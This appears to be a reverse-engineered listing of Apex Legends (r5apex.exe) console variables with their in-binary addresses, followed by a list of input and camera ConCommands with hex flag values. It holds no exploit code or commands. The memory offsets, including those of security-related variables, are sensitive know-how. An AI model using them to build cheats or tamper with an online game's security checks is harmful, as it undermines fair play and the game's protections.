ConVar stream_cache_read_buffer_cap +r5apex.exe!0x01e899f0 ConVar stream_cache_read_count_cap +r5apex.exe!0x01e89810 ConVar stream_cache_speculative_add_level +r5apex.exe!0x01e89b30 ConVar stream_cache_speculative_drop +r5apex.exe!0x012e4e50 ConVar stream_drop_unused +r5apex.exe!0x012e4c70 ConVar stream_enable +r5apex.exe!0x012dbd50 ConVar stream_freeze_camera +r5apex.exe!0x012e4b30 ConVar stream_load_after_drop +r5apex.exe!0x012e5770 ConVar stream_memory +r5apex.exe!0x012e5290 ConVar stream_memory_ignore +r5apex.exe!0x012e51f0 ConVar stream_memory_ignore_vram +r5apex.exe!0x012e5150 ConVar stream_memory_min +r5apex.exe!0x012e50b0 ConVar stream_memory_while_loading +r5apex.exe!0x012e5330 ConVar stream_mode +r5apex.exe!0x012e5470 ConVar stream_never_high_priority_frac +r5apex.exe!0x012e5810 ConVar stream_overlay +r5apex.exe!0x012e5510 ConVar stream_overlay_mode +r5apex.exe!0x012e4db0 ConVar stream_pause +r5apex.exe!0x012e4d10 ConVar stream_picmip +r5apex.exe!0x012e6640 ConVar stream_resource_max_commits_per_frame +r5apex.exe!0x012e66e0 ConVar stream_resource_thread +r5apex.exe!0x012e65a0 ConVar stream_resource_wait_copy_to_commit +r5apex.exe!0x012e6780 ConVar stream_resource_wait_creation_to_copy +r5apex.exe!0x012e6500 ConVar stream_resource_wait_for_additional_gpus +r5apex.exe!0x012e5650 ConVar stream_temp_abort_old_inner_loop +r5apex.exe!0x012e4f70 ConVar stream_temp_old_abort_all_behavior +r5apex.exe!0x012e53d0 ConVar stream_temp_skip_abort_all +r5apex.exe!0x011988d0 ConVar stringtable_alwaysrebuilddictionaries +r5apex.exe!0x01194610 ConVar stringtable_compress +r5apex.exe!0x011953c0 ConVar stringtable_showsizes +r5apex.exe!0x058ca020 ConVar stryder_forceOriginUsersInvisible +r5apex.exe!0x012cafa0 ConVar stryder_security +r5apex.exe!0x01c5bb80 ConVar stuck_debugging +r5apex.exe!0x01c8c430 ConVar stuck_debugging_world_only +r5apex.exe!0x01188fc0 ConVar studiobonecache_unlimited +r5apex.exe!0x012cad20 ConVar subscription_hostname +r5apex.exe!0x01c89580 ConVar superjump_disabled_from_water +r5apex.exe!0x01c90b90 ConVar superjump_drain_power_onfail +r5apex.exe!0x01c8a950 ConVar superjump_fail_sound_when_jump_limit +r5apex.exe!0x01c8cd80 ConVar superjump_limit +r5apex.exe!0x01c890e0 ConVar superjump_limitreset_onwallrun +r5apex.exe!0x01c757e0 ConVar superjump_max_power_use +r5apex.exe!0x01c5c2f0 ConVar superjump_min_height_fraction +r5apex.exe!0x01c8bcd0 ConVar superjump_min_power_use +r5apex.exe!0x01c87c30 ConVar superjump_powerreset_onground +r5apex.exe!0x01c8b360 ConVar sv_airaccelerate +r5apex.exe!0x012cc5b0 ConVar sv_allTicksFinal +r5apex.exe!0x01299920 ConVar sv_allowSendTableTransmitToClients +r5apex.exe!0x0129b680 ConVar sv_allowSpectatorClients +r5apex.exe!0x0129a860 ConVar sv_asyncSendSnapshot +r5apex.exe!0x01c5adf0 ConVar sv_backspeed +r5apex.exe!0x0129ab80 ConVar sv_balanceTeams +r5apex.exe!0x01c75660 ConVar sv_bounce +r5apex.exe!0x0129cd90 ConVar sv_cheats +r5apex.exe!0x0129a000 ConVar sv_checkPropBudgets +r5apex.exe!0x0129a300 ConVar sv_compressPlaylists +r5apex.exe!0x0118bfb0 ConVar sv_compressTimeValEpsilon +r5apex.exe!0x0118c120 ConVar sv_compressTimeVals +r5apex.exe!0x01299ba0 ConVar sv_connectingClientDelay +r5apex.exe!0x0129a680 ConVar sv_debug_prop_send +r5apex.exe!0x0129c560 ConVar sv_debugmanualmode +r5apex.exe!0x0129c100 ConVar sv_disconnectOnScriptError +r5apex.exe!0x0129c920 ConVar sv_disconnectOnTooManySnapshotFrames +r5apex.exe!0x01190eb0 ConVar sv_dumpstringtables +r5apex.exe!0x0129c740 ConVar sv_earlyPersistenceRead +r5apex.exe!0x012ccbd0 ConVar sv_everyThirdTick +r5apex.exe!0x0129bd40 ConVar sv_extra_client_connect_time +r5apex.exe!0x0129bb60 ConVar sv_fakeClientBaseId +r5apex.exe!0x01c92700 ConVar sv_footsteps +r5apex.exe!0x01c5b010 ConVar sv_friction +r5apex.exe!0x01c91f40 ConVar sv_gravity +r5apex.exe!0x01299560 ConVar sv_hibernate_ms +r5apex.exe!0x0129a120 ConVar sv_hibernate_ms_vgui +r5apex.exe!0x0129c7e0 ConVar sv_hibernate_postgame_delay +r5apex.exe!0x0129c1a0 ConVar sv_hibernate_when_empty +r5apex.exe!0x01ca23d0 ConVar sv_infinite_ammo +r5apex.exe!0x0129b860 ConVar sv_instancebaselines +r5apex.exe!0x0118eb90 ConVar sv_loadMapModelEarly +r5apex.exe!0x01196780 ConVar sv_lobbyType +r5apex.exe!0x01299f60 ConVar sv_max_prop_data_dwords_lobby +r5apex.exe!0x0129a900 ConVar sv_max_prop_data_dwords_multiplayer +r5apex.exe!0x01299ce0 ConVar sv_max_prop_data_dwords_singleplayer +r5apex.exe!0x0129a260 ConVar sv_max_props_lobby +r5apex.exe!0x01299c40 ConVar sv_max_props_multiplayer +r5apex.exe!0x01299a60 ConVar sv_max_props_singleplayer +r5apex.exe!0x0129b720 ConVar sv_max_snapshots_lobby +r5apex.exe!0x01298e20 ConVar sv_max_snapshots_multiplayer +r5apex.exe!0x0129ca60 ConVar sv_max_snapshots_singleplayer +r5apex.exe!0x0129a4c0 ConVar sv_maxclientframes +r5apex.exe!0x0129c060 ConVar sv_maxrate +r5apex.exe!0x01193bc0 ConVar sv_maxroutable +r5apex.exe!0x01c8ea60 ConVar sv_maxspeed +r5apex.exe!0x0129b540 ConVar sv_maxupdaterate +r5apex.exe!0x01c8eca0 ConVar sv_maxvelocity +r5apex.exe!0x0129a3a0 ConVar sv_minrate +r5apex.exe!0x0129a7c0 ConVar sv_minupdaterate +r5apex.exe!0x01c8ae80 ConVar sv_optimizedmovement +r5apex.exe!0x01299740 ConVar sv_parallel_sendsnapshot +r5apex.exe!0x012994c0 ConVar sv_pausable +r5apex.exe!0x01298c40 ConVar sv_playerNameAppendCheater +r5apex.exe!0x01c90700 ConVar sv_players +r5apex.exe!0x0129b9a0 ConVar sv_printHighWaterMark +r5apex.exe!0x01c87d70 ConVar sv_pushaway_accel +r5apex.exe!0x01c56a40 ConVar sv_pushaway_clientside +r5apex.exe!0x01c98c20 ConVar sv_pushaway_clientside_size +r5apex.exe!0x01c8f120 ConVar sv_pushaway_debug +r5apex.exe!0x01c57310 ConVar sv_pushaway_dist +r5apex.exe!0x01c8a9f0 ConVar sv_pushaway_min_player_speed +r5apex.exe!0x01c8ab00 ConVar sv_pushaway_player_accel +r5apex.exe!0x01c5b510 ConVar sv_pushaway_player_dist +r5apex.exe!0x0129ade0 ConVar sv_rejectClientConnects +r5apex.exe!0x012991c0 ConVar sv_rejectConnections +r5apex.exe!0x0129a5e0 ConVar sv_rejectInvalidStryderSecurityToken +r5apex.exe!0x01299d80 ConVar sv_requireOriginToken +r5apex.exe!0x0129ae80 ConVar sv_resendSignonData +r5apex.exe!0x01c8fb20 ConVar sv_rollangle +r5apex.exe!0x01c899b0 ConVar sv_rollspeed +r5apex.exe!0x01299120 ConVar sv_runSpatialOptimizeInJob +r5apex.exe!0x0129b5e0 ConVar sv_scarySnapDeltaPrints +r5apex.exe!0x0129c380 ConVar sv_sendEarlyServerInfo +r5apex.exe!0x0129a1c0 ConVar sv_sendReplayNetMessagesOnNoDeltaSnaps +r5apex.exe!0x0129afc0 ConVar sv_separate_freq_change_prop_send +r5apex.exe!0x01299600 ConVar sv_showClientTickCmds +r5apex.exe!0x01298ec0 ConVar sv_showLargeSnapshotSize +r5apex.exe!0x01298ba0 ConVar sv_showSnapshots +r5apex.exe!0x01298d80 ConVar sv_showUserCmds +r5apex.exe!0x0129bfc0 ConVar sv_single_core_dedi +r5apex.exe!0x01299080 ConVar sv_skipSendingUnnecessaryPersistence +r5apex.exe!0x01c8b1f0 ConVar sv_skyname +r5apex.exe!0x0129b4a0 ConVar sv_snapshot_uniform_interval +r5apex.exe!0x01c8a390 ConVar sv_specaccelerate +r5apex.exe!0x01c5c8a0 ConVar sv_specnoclip +r5apex.exe!0x01c5ab90 ConVar sv_specspeed +r5apex.exe!0x01298b00 ConVar sv_stats +r5apex.exe!0x01c5af70 ConVar sv_stopspeed +r5apex.exe!0x0129c2e0 ConVar sv_stressbots +r5apex.exe!0x0129c600 ConVar sv_struggleCheck +r5apex.exe!0x01299880 ConVar sv_struggleSpam +r5apex.exe!0x0129be80 ConVar sv_struggleSpamInterval +r5apex.exe!0x0129a9a0 ConVar sv_tempents_send_from_delta +r5apex.exe!0x01298ce0 ConVar sv_tempents_send_from_last_sent +r5apex.exe!0x012d3020 ConVar sv_testLargeDatablock +r5apex.exe!0x0188c020 ConVar sv_teststepsimulation +r5apex.exe!0x0129c240 ConVar sv_transmitToAllPlayersMask_allBitsSet +r5apex.exe!0x0129ad40 ConVar sv_unnecessaryConnectDelay +r5apex.exe!0x012999c0 ConVar sv_unreliableSnapMaxSize +r5apex.exe!0x01299420 ConVar sv_updaterate_mp +r5apex.exe!0x0129b7c0 ConVar sv_updaterate_sp +r5apex.exe!0x01299b00 ConVar sv_useReputation +r5apex.exe!0x0129b900 ConVar sv_useThreadsForSnapshots +r5apex.exe!0x0129c420 ConVar sv_voiceEcho +r5apex.exe!0x0129bde0 ConVar sv_voiceenable +r5apex.exe!0x01299ec0 ConVar sv_warnAboutCmdNumJumps +r5apex.exe!0x01198e90 ConVar sv_watchdogTimer +r5apex.exe!0x01c56900 ConVar sv_wateraccelerate +r5apex.exe!0x01c91200 ConVar sv_waterdist +r5apex.exe!0x011975d0 ConVar sv_writePersistenceOnShutdown +r5apex.exe!0x01e70200 ConVar sys_attract_mode_timeout +r5apex.exe!0x0119b700 ConVar system_alt_f4_closes_window +r5apex.exe!0x01c8c360 ConVar teams_unassigned_are_friendly +r5apex.exe!0x012cd290 ConVar telemetry_client_debug +r5apex.exe!0x012cbed0 ConVar telemetry_client_enable +r5apex.exe!0x012ccb30 ConVar telemetry_client_sendInterval +r5apex.exe!0x012cb930 ConVar telemetryevent_client_enable +r5apex.exe!0x012987e0 ConVar tencent_restricted +r5apex.exe!0x012cb890 ConVar test_fakeTimeDays +r5apex.exe!0x01c8d9f0 ConVar tether_damageScale +r5apex.exe!0x01c570b0 ConVar tether_dodge_damage +r5apex.exe!0x01c56d00 ConVar tether_healthDrain +r5apex.exe!0x01c5b290 ConVar tether_healthDrainNPC +r5apex.exe!0x01c90af0 ConVar tether_maxvel +r5apex.exe!0x01c902b0 ConVar tether_radius +r5apex.exe!0x01c8f1c0 ConVar tether_strength +r5apex.exe!0x01c411f0 ConVar thirdperson_mayamode +r5apex.exe!0x01894b00 ConVar thirdperson_override +r5apex.exe!0x01c498d0 ConVar thirdperson_screenspace +r5apex.exe!0x0118e0c0 ConVar timeout +r5apex.exe!0x0118e160 ConVar timeout_during_load +r5apex.exe!0x01ca25b0 ConVar titan_sprint_sound +r5apex.exe!0x01e82450 ConVar toggle_on_jump_to_deactivate +r5apex.exe!0x0129d0b0 ConVar tracehull_height_error_check +r5apex.exe!0x01c448e0 ConVar tracer_debug +r5apex.exe!0x01e7cef0 ConVar trail_optimizedRemove +r5apex.exe!0x01c56da0 ConVar traversal_anim +r5apex.exe!0x01c59430 ConVar traversal_cooldown +r5apex.exe!0x01c8a0c0 ConVar traversal_enable +r5apex.exe!0x01c5b6f0 ConVar traversal_hand_debug +r5apex.exe!0x01c8a6f0 ConVar traversal_hand_required_width +r5apex.exe!0x01e77190 ConVar traversal_viewLerpInDuration +r5apex.exe!0x01e7a500 ConVar traversal_viewLerpOut +r5apex.exe!0x01e7b100 ConVar traversal_viewLerpOutAngle +r5apex.exe!0x01e74c10 ConVar traversal_viewLerpOutDebug +r5apex.exe!0x01e7b680 ConVar traversal_viewLerpOutPos +r5apex.exe!0x01c5a7d0 ConVar traversal_window_duration +r5apex.exe!0x01c594d0 ConVar traversal_window_enable +r5apex.exe!0x01c5b5b0 ConVar traversal_window_finish_angle +r5apex.exe!0x01c89360 ConVar traversal_window_forward_offset +r5apex.exe!0x01c90420 ConVar traversal_window_hand_vertical_offset +r5apex.exe!0x01c8d130 ConVar traversal_window_sideways_offset +r5apex.exe!0x018923f0 ConVar traversal_window_view_pitch_max +r5apex.exe!0x01890cc0 ConVar traversal_window_view_pitch_min +r5apex.exe!0x01894440 ConVar traversal_window_yaw_max +r5apex.exe!0x01c57a90 ConVar trigger_crowd_pusher_enabled +r5apex.exe!0x01c8e450 ConVar trigger_ignore_nonsolids +r5apex.exe!0x012e81e0 ConVar tsaa_blendfactorincreaseatmaxvelocity +r5apex.exe!0x012e8280 ConVar tsaa_blendfactorincreasewhenunoccluded +r5apex.exe!0x012e83c0 ConVar tsaa_blendfactormaxesoutatvelocity +r5apex.exe!0x012e85a0 ConVar tsaa_blendfactormodulationonsparklesandunocclusion +r5apex.exe!0x012e8460 ConVar tsaa_blendfactoroverride +r5apex.exe!0x012e8320 ConVar tsaa_curframeblendamount +r5apex.exe!0x012e8500 ConVar tsaa_debugresponsiveflag +r5apex.exe!0x012e80a0 ConVar tsaa_neighborhoodclamping +r5apex.exe!0x012e8140 ConVar tsaa_neighborhoodclampingsoftened +r5apex.exe!0x01c53b50 ConVar tsaa_numsamples +r5apex.exe!0x01c4a7b0 ConVar tweak_light_shadows_every_frame +r5apex.exe!0x0125fa50 ConVar twitch_check_interval +r5apex.exe!0x01260c80 ConVar twitch_prime_rewards +r5apex.exe!0x012600f0 ConVar twitch_shouldQuery +r5apex.exe!0x01e6f180 ConVar ui_DpadNavigationDeActive +r5apex.exe!0x01e6ffe0 ConVar ui_fadecloud_time +r5apex.exe!0x01e6ff40 ConVar ui_fadexui_time +r5apex.exe!0x01e6f220 ConVar ui_gameui_ctrlr_title +r5apex.exe!0x01e6f9a0 ConVar ui_gameui_modal +r5apex.exe!0x01e6f4a0 ConVar ui_loadingscreen_autotransition_time +r5apex.exe!0x01e6fb80 ConVar ui_loadingscreen_fadein_time +r5apex.exe!0x0118cbd0 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e6fc20 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e705c0 ConVar ui_loadingscreen_mintransition_time +r5apex.exe!0x01e6f7c0 ConVar ui_loadingscreen_transition_time +r5apex.exe!0x01e6f400 ConVar ui_lobby_jointimeout +r5apex.exe!0x01e70520 ConVar ui_lobby_noautostart +r5apex.exe!0x01e6fea0 ConVar ui_lobby_noresults_create_msg_time +r5apex.exe!0x01ca2ef0 ConVar ui_posedebug_fade_in_time +r5apex.exe!0x01ca2e50 ConVar ui_posedebug_fade_out_time +r5apex.exe!0x01e6f360 ConVar ui_virtualnav_render +r5apex.exe!0x01c57950 ConVar unique_entity_names +r5apex.exe!0x01e71dc0 ConVar usePromptBaseColor +r5apex.exe!0x01e73ae0 ConVar usePromptButtonTextColor +r5apex.exe!0x01e71b20 ConVar usePromptImageScale +r5apex.exe!0x01e735b0 ConVar usePromptImageYOffset +r5apex.exe!0x01e746f0 ConVar usePromptTextColor +r5apex.exe!0x01e58ec0 ConVar use_monitors +r5apex.exe!0x012d2e60 ConVar use_presence_to_refresh_userInfoCache +r5apex.exe!0x0119d500 ConVar use_valve_auto_gain +r5apex.exe!0x01c8cb10 ConVar use_vm_cloak_offset +r5apex.exe!0x012ce2d0 ConVar user_tracking_enabled +r5apex.exe!0x01190d70 ConVar users_hostname +r5apex.exe!0x01894ef0 ConVar v_centermove +r5apex.exe!0x0189fad0 ConVar v_centerspeed +r5apex.exe!0x01e5efa0 ConVar variable_sights_gravity_scale_override +r5apex.exe!0x01c48e80 ConVar vehicle_predictViaPlayer +r5apex.exe!0x01e8cf90 ConVar vgui_EnableFixedAspectScaling +r5apex.exe!0x01e6fcc0 ConVar vgui_drawPolyShapes +r5apex.exe!0x01199bf0 ConVar vgui_drawfocus +r5apex.exe!0x01e8c140 ConVar vgui_drawfocus +r5apex.exe!0x0119bb40 ConVar vgui_drawkeyfocus +r5apex.exe!0x0188e0e0 ConVar vgui_interactive +r5apex.exe!0x01e8eac0 ConVar vgui_noquads +r5apex.exe!0x01e8e980 ConVar vgui_notext +r5apex.exe!0x01e8c210 ConVar vgui_resize_on_resolution_change +r5apex.exe!0x01e8d6c0 ConVar vgui_show_glyph_miss +r5apex.exe!0x011970d0 ConVar vgui_simulate_during_bone_setup +r5apex.exe!0x01e72b10 ConVar video_menu_uiscript_reset +r5apex.exe!0x01ca0fc0 ConVar viewDrift +r5apex.exe!0x01ca1b70 ConVar viewDrift_ads_delay_debounce_time +r5apex.exe!0x01ca1d50 ConVar viewDrift_pitch_base1_amp +r5apex.exe!0x01ca1cb0 ConVar viewDrift_pitch_base1_freq +r5apex.exe!0x01ca0d20 ConVar viewDrift_pitch_base1_phase +r5apex.exe!0x01ca1660 ConVar viewDrift_pitch_base2_amp +r5apex.exe!0x01ca2510 ConVar viewDrift_pitch_base2_freq +r5apex.exe!0x01ca0f20 ConVar viewDrift_pitch_base2_phase +r5apex.exe!0x01ca0a80 ConVar viewDrift_pitch_scaler_amp +r5apex.exe!0x01ca26f0 ConVar viewDrift_pitch_scaler_base +r5apex.exe!0x01ca09c0 ConVar viewDrift_pitch_scaler_freq +r5apex.exe!0x01ca0880 ConVar viewDrift_pitch_scaler_phase +r5apex.exe!0x01ca1ad0 ConVar viewDrift_pitch_shifter_amp +r5apex.exe!0x01ca1a30 ConVar viewDrift_pitch_shifter_freq +r5apex.exe!0x01ca21f0 ConVar viewDrift_pitch_shifter_phase +r5apex.exe!0x01ca2650 ConVar viewDrift_yaw_base1_amp +r5apex.exe!0x01ca1f70 ConVar viewDrift_yaw_base1_freq +r5apex.exe!0x01ca0370 ConVar viewDrift_yaw_base1_phase +r5apex.exe!0x01ca1060 ConVar viewDrift_yaw_base2_amp +r5apex.exe!0x01ca18e0 ConVar viewDrift_yaw_base2_freq +r5apex.exe!0x01ca1840 ConVar viewDrift_yaw_base2_phase +r5apex.exe!0x01ca0de0 ConVar viewDrift_yaw_scaler_amp +r5apex.exe!0x01ca2010 ConVar viewDrift_yaw_scaler_base +r5apex.exe!0x01ca2330 ConVar viewDrift_yaw_scaler_freq +r5apex.exe!0x01ca2150 ConVar viewDrift_yaw_scaler_phase +r5apex.exe!0x01ca0410 ConVar viewDrift_yaw_shifter_amp +r5apex.exe!0x01ca17a0 ConVar viewDrift_yaw_shifter_freq +r5apex.exe!0x01ca2790 ConVar viewDrift_yaw_shifter_phase +r5apex.exe!0x01ca2830 ConVar view_offset_entity_enable +r5apex.exe!0x01c4cb90 ConVar viewangle_debug +r5apex.exe!0x01e87920 ConVar viewangles_simpler +r5apex.exe!0x018955e0 ConVar viewmodelShake +r5apex.exe!0x018a9c50 ConVar viewmodelShake_sourceRollRange +r5apex.exe!0x01c910d0 ConVar viewmodel_attachment_fov_fix +r5apex.exe!0x01e591e0 ConVar viewmodel_bounds_draw +r5apex.exe!0x01ca46e0 ConVar viewmodel_bounds_draw_lock +r5apex.exe!0x012e1930 ConVar viewmodel_selfshadow +r5apex.exe!0x01e59000 ConVar viewmodel_selfshadow_debug_2d +r5apex.exe!0x01ca43c0 ConVar viewmodel_selfshadow_tightbounds +r5apex.exe!0x0189d010 ConVar viewportscale +r5apex.exe!0x01c87700 ConVar viewpunch_base_springConstantX +r5apex.exe!0x01c8f400 ConVar viewpunch_base_springConstantY +r5apex.exe!0x01c8e7d0 ConVar viewpunch_base_springConstantZ +r5apex.exe!0x01c75880 ConVar viewpunch_base_springDampingX +r5apex.exe!0x01c8eb60 ConVar viewpunch_base_springDampingY +r5apex.exe!0x01c5ba40 ConVar viewpunch_base_springDampingZ +r5apex.exe!0x012cbbd0 ConVar violence_ablood +r5apex.exe!0x01c97950 ConVar violence_ablood +r5apex.exe!0x012cc1d0 ConVar violence_agibs +r5apex.exe!0x01c999d0 ConVar violence_agibs +r5apex.exe!0x012cd470 ConVar violence_hblood +r5apex.exe!0x01c9d1c0 ConVar violence_hblood +r5apex.exe!0x012cc790 ConVar violence_hgibs +r5apex.exe!0x01c9a8c0 ConVar violence_hgibs +r5apex.exe!0x01e5c080 ConVar visible_ent_cone_debug_duration_client +r5apex.exe!0x0119e840 ConVar voice_absTriggerAmount +r5apex.exe!0x01e74af0 ConVar voice_allow_mute_self +r5apex.exe!0x0119d960 ConVar voice_avggain +r5apex.exe!0x01c9f0e0 ConVar voice_clientdebug +r5apex.exe!0x0119dd20 ConVar voice_debugAddSecondTalker +r5apex.exe!0x0119e3e0 ConVar voice_debugThresholds +r5apex.exe!0x01199c90 ConVar voice_debugfeedback +r5apex.exe!0x01e73380 ConVar voice_decimate_at_bytes +r5apex.exe!0x01e749d0 ConVar voice_decimate_rate +r5apex.exe!0x0119e160 ConVar voice_enabled +r5apex.exe!0x0119de60 ConVar voice_energyPerZeroThreshold +r5apex.exe!0x0119e340 ConVar voice_energyThreshold +r5apex.exe!0x0119e200 ConVar voice_forcemicrecord +r5apex.exe!0x01191650 ConVar voice_inputfromfile +r5apex.exe!0x01894e30 ConVar voice_late_update +r5apex.exe!0x0119e5c0 ConVar voice_loopback +r5apex.exe!0x0119e7a0 ConVar voice_maxgain +r5apex.exe!0x0119dfa0 ConVar voice_minEnergyPerZeroThreshold +r5apex.exe!0x0119e8e0 ConVar voice_mixer_boost +r5apex.exe!0x0119e980 ConVar voice_mixer_mute +r5apex.exe!0x0119ea20 ConVar voice_mixer_volume +r5apex.exe!0x01c9f730 ConVar voice_modenable +r5apex.exe!0x0129c4c0 ConVar voice_noxplat +r5apex.exe!0x0119e700 ConVar voice_profile +r5apex.exe!0x01193200 ConVar voice_recordtofile +r5apex.exe!0x0119daa0 ConVar voice_scale +r5apex.exe!0x0119e0c0 ConVar voice_showchannels +r5apex.exe!0x0119d780 ConVar voice_showincoming +r5apex.exe!0x0119d820 ConVar voice_threshold_delay +r5apex.exe!0x0119e520 ConVar voice_triggerCrossingRate +r5apex.exe!0x0119dc80 ConVar voice_triggerRate +r5apex.exe!0x0119d460 ConVar voice_turn_off_new_filters +r5apex.exe!0x0119e2a0 ConVar voice_vox +r5apex.exe!0x0119d640 ConVar voice_writevoices +r5apex.exe!0x011911d0 ConVar voice_xsend_debug +r5apex.exe!0x0119db40 ConVar voice_zeroCrossingThreshold +r5apex.exe!0x01e76710 ConVar vortex_damageimpulsescale +r5apex.exe!0x012cd5b0 ConVar vprof_server_spike_threshold +r5apex.exe!0x012cc510 ConVar vprof_server_thread +r5apex.exe!0x01e5e850 ConVar vscript_ui_do_delay_init +r5apex.exe!0x018a8e60 ConVar vsm_culling +r5apex.exe!0x01c2e8d0 ConVar vsm_ignore_edge_planes +r5apex.exe!0x01895d50 ConVar vsm_ignore_face_planes +r5apex.exe!0x01199790 ConVar vx_do_not_throttle_events +r5apex.exe!0x01ca1100 ConVar wall_climb_pose_paramteter_hands_enabled +r5apex.exe!0x01c8e1e0 ConVar wallclimb_vertical_gain_reduction +r5apex.exe!0x01c91400 ConVar wallrun_angleChangeMinCos +r5apex.exe!0x01c90a20 ConVar wallrun_avoid_wall_top_decel +r5apex.exe!0x01e77370 ConVar wallrun_curveDebug +r5apex.exe!0x01e76880 ConVar wallrun_curveEnable +r5apex.exe!0x01c8c5e0 ConVar wallrun_debug +r5apex.exe!0x01c5c660 ConVar wallrun_enable +r5apex.exe!0x01c8d000 ConVar wallrun_fallAwaySpeed +r5apex.exe!0x01c8ca20 ConVar wallrun_hangStopTime +r5apex.exe!0x01c595b0 ConVar wallrun_hangslipduration +r5apex.exe!0x01c8a1c0 ConVar wallrun_hangslipstarttime +r5apex.exe!0x01c88b60 ConVar wallrun_hangslipvel +r5apex.exe!0x01c873e0 ConVar wallrun_maxViewTilt +r5apex.exe!0x01c755c0 ConVar wallrun_minAngle_air +r5apex.exe!0x01c8ce50 ConVar wallrun_noInputSlipFrac +r5apex.exe!0x01c5aed0 ConVar wallrun_pushAwayFallOffTime +r5apex.exe!0x01c85ef0 ConVar wallrun_repelEnable +r5apex.exe!0x01c894e0 ConVar wallrun_repelSoftness +r5apex.exe!0x01c8fe00 ConVar wallrun_repelTimeMax +r5apex.exe!0x01c8a2f0 ConVar wallrun_repelTimeMin +r5apex.exe!0x01c87e10 ConVar wallrun_retry_interval +r5apex.exe!0x01c882c0 ConVar wallrun_rotateMaxRate +r5apex.exe!0x01c87480 ConVar wallrun_sameWallDist +r5apex.exe!0x01c87cd0 ConVar wallrun_sameWallDot +r5apex.exe!0x01c57010 ConVar wallrun_sameWallSlope +r5apex.exe!0x01c8fc90 ConVar wallrun_slipduration +r5apex.exe!0x01c88180 ConVar wallrun_slipslowdown +r5apex.exe!0x01c8c150 ConVar wallrun_slipstarttime +r5apex.exe!0x01c8e590 ConVar wallrun_slipvel +r5apex.exe!0x01c5b3d0 ConVar wallrun_strengthLossEnd +r5apex.exe!0x01c5aaf0 ConVar wallrun_strengthLossStart +r5apex.exe!0x01c8a790 ConVar wallrun_upwardAutoPush +r5apex.exe!0x01c8ec00 ConVar wallrun_viewTiltPredictTime +r5apex.exe!0x01c5bae0 ConVar wallrun_viewTiltSpeed +r5apex.exe!0x01c89620 ConVar was_loaded +r5apex.exe!0x01e7dcd0 ConVar weaponFastHolsterScale +r5apex.exe!0x01c90660 ConVar weaponSwitch3p_checkNewWeapon +r5apex.exe!0x01e81b60 ConVar weaponSwitch3p_onHolster +r5apex.exe!0x01ca13e0 ConVar weapon_auto_swap_ordnance_no_ammo +r5apex.exe!0x01e816c0 ConVar weapon_debugScript +r5apex.exe!0x01e810a0 ConVar weapon_doIdleForSurvivalMelee +r5apex.exe!0x018944e0 ConVar weapon_friendly_fire_prevent_ui +r5apex.exe!0x01ca1ed0 ConVar weapon_meleeButtonPressProtection +r5apex.exe!0x01e86d80 ConVar weapon_parentingFixLerp +r5apex.exe!0x01ca2470 ConVar weapon_pickup_allow_dupes +r5apex.exe!0x01895860 ConVar weapon_poseParamMaxDistance +r5apex.exe!0x01e81a60 ConVar weapon_render_with_fastpath +r5apex.exe!0x01c47130 ConVar weapon_setting_autocycle_on_empty +r5apex.exe!0x01e817a0 ConVar weapon_sprint_raise_delay +r5apex.exe!0x01e821a0 ConVar weaponx_predicting_client_only_optimization +r5apex.exe!0x01e82260 ConVar weaponx_smartammo_data_optimization +r5apex.exe!0x01e7b860 ConVar window_hint_debug +r5apex.exe!0x01c75be0 ConVar window_hint_fov_down +r5apex.exe!0x01c8e110 ConVar window_hint_fov_horz +r5apex.exe!0x01c87f50 ConVar window_hint_fov_up +r5apex.exe!0x01c8c2c0 ConVar window_hint_keyboard_fov_horz +r5apex.exe!0x01c59870 ConVar window_hint_lookahead_time +r5apex.exe!0x01c90380 ConVar window_hint_max_horz_vel_change_dot +r5apex.exe!0x01c89180 ConVar window_hint_max_vel_change_down +r5apex.exe!0x01c8fa80 ConVar window_hint_max_vel_change_up +r5apex.exe!0x01c5c9e0 ConVar window_hint_min_horz_vel +r5apex.exe!0x01c90e30 ConVar window_hint_permissive_max_horz_vel_change_dot +r5apex.exe!0x01c8c1f0 ConVar window_hint_permissive_max_vel_change_down +r5apex.exe!0x01c87340 ConVar window_hint_permissive_max_vel_change_up +r5apex.exe!0x0188d1c0 ConVar z_ragdoll_impact_strength +r5apex.exe!0x01e7e610 ConVar zipline_check_usable_before_deploy +r5apex.exe!0x01e84180 ConVar zipline_cooldown_time_0 +r5apex.exe!0x01e84220 ConVar zipline_cooldown_time_1 +r5apex.exe!0x01e842c0 ConVar zipline_cooldown_time_2 +r5apex.exe!0x01e84360 ConVar zipline_cooldown_time_3 +r5apex.exe!0x01e84400 ConVar zipline_cooldown_time_4 +r5apex.exe!0x01e83080 ConVar zipline_fade_dist +r5apex.exe!0x01e83120 ConVar zipline_subdiv_lod_dist_base +r5apex.exe!0x01c4b490 ConVar zipline_subdiv_slices +r5apex.exe!0x01e84980 ConVar zipline_subdiv_slices_lod +r5apex.exe!0x01c43760 ConVar zipline_subdiv_stacks +``` + +## ConCommands + +
++ability + + + +flags: `0x400a0000` +
+
++ability_held + + + +flags: `0x400a0000` +
+
++attack + + + +flags: `0x40080000` +
+
++backward + + + +flags: `0x400a0000` +
+
++break + + + +flags: `0x40080000` +
+
++camdistance + + + +flags: `0x2` +
+
++camin + + + +flags: `0x2` +
+
++cammousemove + + + +flags: `0x2` +
+
++camout + + + +flags: `0x2` +
+
++campitchdown + + + +flags: `0x2` +
+
++campitchup + + + +flags: `0x2` +
+
++camyawleft + + + +flags: `0x2` +
+
++camyawright + + + +flags: `0x2` +
+
++commandermousemove + + + +flags: `0x80000` +
+
++csm_rot_x_neg + + + +flags: `0x2` +
+
++csm_rot_x_plus + + + +flags: `0x2` +
+
++csm_rot_y_neg + + + +flags: `0x2` +
+
++csm_rot_y_plus + + + +flags: `0x2` +
+
++displayFullscreenMap + + + +flags: `0x40080000` +
+
++dodge + + + +flags: `0x400a0000` +
+
++duck + + + +flags: `0x400a0000` +
+
++forward + + + +flags: `0x400a0000` +
+
++graph + + + +flags: `0x40080000` +
+
++jump + + + +flags: `0x400a0000` +
+
++klook + + + +flags: `0x40080000` +
+
++left + + + +flags: `0x40080000` +
+
++lookdown + + + +flags: `0x80000` +
+
++lookup + + + +flags: `0x80000` +
+
++mat_texture_list + + + +flags: `0x2` +
+
++melee + + + +flags: `0x40080000` +
+
++movedown + + + +flags: `0x40080000` +
+
++moveleft + + + +flags: `0x400a0000` +
+
++moveright + + + +flags: `0x400a0000` +
+
++moveup + + + +flags: `0x40080000` +
+
